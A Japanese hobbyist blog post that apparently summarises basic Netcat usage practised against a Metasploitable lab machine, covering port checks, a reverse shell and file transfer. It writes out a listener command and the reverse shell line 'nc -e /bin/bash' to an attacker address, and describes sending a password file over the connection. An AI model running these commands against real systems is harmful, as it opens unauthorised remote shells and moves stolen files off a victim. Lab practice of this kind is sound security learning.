とある親父の侵入実験【Netcatの使い方】

今更感が半端ないんだけど、便利なネットワークツール「Netcat」の基本的な使い方を勉強してみたのでまとめておく。

今回は以下のサイトを参考にして勉強しました。

www.hackingarticles.in

Port Knocking

　nc IPアドレス ポート番号

ncコマンドを使用してポート番号にアクセスすると、そのポート番号を使用しているサービスを調べられる。 

Reverse Shell

netcatって言ったらこれかな？てか、ちゃんと調べるまで使用用途はこれしか知らなかったw　

Reverse Shellなんで標的となるVictim側から接続先のAttackerへConnectする。

待受側（Attacker）

　nc -lvp ポート番号

指定したポートで、標的からのReverse接続を待ち受ける。

接続側（Victim）

　nc IPアドレス ポート番号

これで接続できる。でも、

　nc -e /bin/bash IPアドレス ポート番号

の方が、接続した時のshellを指定できるしなんとなく便利だから使うようにしている。

接続すると

待受側で接続が開始されたメッセージが表示される。

一応、確認するw

Victim端末はmetasploitableなので間違いなくReverse接続されている。

ファイル転送

Reverse接続の応用で、入出力先をファイルにすることでファイルの転送もできる。

先ほどと同じ要領で待ち受けて、出力をファイルにリダイレクトする。

※passというファイルに保存されるようにした

同じく接続も先ほどと同じ要領にしつつ入力をファイルに

※passwordというファイルを作成し入力ファイルにした

接続が行われるとファイルが作成される。

他にもポートスキャンが出来たり、HTTPリクエストが出来たりするようだけど、Reverse接続とファイル転送が出来ればそれで十分かなと思うので他は割愛。